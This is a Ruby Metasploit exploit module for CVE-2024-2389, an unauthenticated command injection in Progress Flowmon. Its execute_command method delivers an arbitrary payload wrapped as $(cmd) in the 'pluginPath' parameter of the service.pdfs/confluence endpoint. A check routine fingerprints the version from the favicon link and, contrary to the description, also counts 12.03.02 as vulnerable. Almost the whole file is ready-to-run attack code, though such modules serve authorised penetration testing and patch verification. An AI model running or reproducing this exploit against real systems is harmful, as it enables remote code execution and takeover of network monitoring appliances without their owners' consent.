Jack Heysel
95 lines
3.0 KiB
Ruby
95 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Flowmon Unauthenticated Command Injection',
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'Description' => %q{
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This module exploits an unauthenticated command injection vulnerability in Progress Flowmon
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versions before v12.03.02.
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},
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'Author' => [
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'Dave Yesland with Rhino Security Labs',
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2024-2389'],
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['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],
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['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']
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],
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'DisclosureDate' => '2024-04-23',
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
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'Reliability' => [ REPEATABLE_SESSION ]
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},
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'Platform' => ['unix', 'linux'],
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'Arch' => [ARCH_CMD],
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'Targets' => [['Automatic', {}]],
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'Privileged' => false,
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'DefaultOptions' => {
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'SSL' => true,
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'RPORT' => 443
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}
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)
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)
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register_options([
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OptString.new('TARGETURI', [true, 'The URI path to Flowmon', '/'])
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])
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end
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def execute_command(cmd)
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send_request_cgi(
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'uri' => normalize_uri(datastore['TARGETURI'], 'service.pdfs', 'confluence'),
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'method' => 'GET',
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'vars_get' => {
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'file' => rand_text_alphanumeric(8),
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'lang' => rand_text_alphanumeric(8),
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'pluginPath' => "$(#{cmd})"
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}
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)
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end
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def exploit
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print_status('Attempting to execute payload...')
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execute_command(payload.encoded)
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end
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def check
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print_status("Checking if #{peer} can be exploited!")
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uri = normalize_uri(target_uri.path, 'homepage/auth/login')
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res = send_request_cgi(
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'uri' => uri,
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'method' => 'GET'
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)
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return CheckCode::Unknown('Connection failed') unless res
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return CheckCode::Safe('Target does not appear to be running Progress Flowmon') unless res.code == 200 && res.get_html_document.xpath('//title').text == 'Flowmon Web Interface'
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# Use a regular expression to extract the version number from the response
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version = res.body.match(%r{/favicon\.ico\?v=([\d.]+)})
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return CheckCode::Unknown('Unable to determine the version from the favicon link.') unless version && version[1]
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print_status("Detected version: #{version[1]}")
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if Rex::Version.new(version[1]) <= Rex::Version.new('12.03.02')
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CheckCode::Vulnerable("Version #{version[1]} is vulnerable.")
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else
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CheckCode::Safe("Version #{version[1]} is not vulnerable.")
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end
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end
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end
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